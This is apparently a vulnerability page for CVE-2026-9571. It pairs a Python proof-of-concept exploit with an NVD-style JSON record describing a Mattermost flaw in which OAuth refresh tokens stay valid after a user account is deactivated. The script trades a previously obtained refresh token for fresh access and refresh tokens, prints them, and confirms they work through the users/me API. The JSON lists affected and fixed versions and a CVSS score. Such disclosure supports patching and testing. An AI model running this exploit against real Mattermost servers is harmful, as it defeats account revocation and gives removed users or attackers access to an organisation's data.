CVE-2026-9571

# CVE-2026-9571 PoC - Mattermost OAuth Refresh Token Not Invalidated on Deactivation # This PoC demonstrates how a deactivated user's refresh token can still be used # to obtain new access tokens after account deactivation. import requests import json TARGET_URL = "https://mattermost.example.com" CLIENT_ID = "your_oauth_client_id" CLIENT_SECRET = "your_oauth_client_secret" REFRESH_TOKEN = "previously_obtained_refresh_token" # Token obtained before deactivation def exploit_refresh_token_after_deactivation(): """ Attempt to use a refresh token after the associated user account has been deactivated. In vulnerable versions, this should succeed despite the account being deactivated. """ token_endpoint = f"{TARGET_URL}/oauth/access_token" payload = { "grant_type": "refresh_token", "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET, "refresh_token": REFRESH_TOKEN } headers = { "Content-Type": "application/x-www-form-urlencoded", "Accept": "application/json" } response = requests.post(token_endpoint, data=payload, headers=headers) if response.status_code == 200: token_data = response.json() print("[+] VULNERABLE: Successfully obtained new access token after deactivation!") print(f"[+] New Access Token: {token_data.get('access_token', 'N/A')}") print(f"[+] New Refresh Token: {token_data.get('refresh_token', 'N/A')}") print(f"[+] Expires In: {token_data.get('expires_in', 'N/A')} seconds") # Verify the new token is functional by making an API call access_token = token_data.get('access_token') api_headers = {"Authorization": f"Bearer {access_token}"} user_response = requests.get(f"{TARGET_URL}/api/v4/users/me", headers=api_headers) if user_response.status_code == 200: user_info = user_response.json() print(f"[+] Token is FUNCTIONAL - Authenticated as: {user_info.get('username', 'N/A')}") return True else: print(f"[-] NOT VULNERABLE: Token refresh failed with status {response.status_code}") print(f"[-] Response: {response.text}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-9571 - Mattermost OAuth Refresh Token Exploit") print("=" * 60) exploit_refresh_token_after_deactivation()

{"cve": {"id": "CVE-2026-9571", "sourceIdentifier": "[email protected]", "published": "2026-07-13T09:16:25.017", "lastModified": "2026-07-13T17:01:11.600", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.7.x <= 11.7.2, 11.6.x <= 11.6.4, 10.11.x <= 10.11.19 fail to invalidate OAuth refresh tokens upon user account deactivation, which allows a deactivated user or an attacker in possession of a valid refresh token to obtain new functional access tokens via the OAuth refresh token grant endpoint.. Mattermost Advisory ID: MMSA-2026-00680"}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Mattermost", "product": "Mattermost", "defaultStatus": "unaffected", "versions": [{"version": "11.7.0", "lessThanOrEqual": "11.7.2", "versionType": "semver", "status": "affected"}, {"version": "11.6.0", "lessThanOrEqual": "11.6.4", "versionType": "semver", "status": "affected"}, {"version": "10.11.0", "lessThanOrEqual": "10.11.19", "versionType": "semver", "status": "affected"}, {"version": "11.8.0", "status": "unaffected"}, {"version": "11.7.3", "status": "unaffected"}, {"version": "11.6.5", "status": "unaffected"}, {"version": "10.11.20", "status": "unaffected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.7, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-305"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}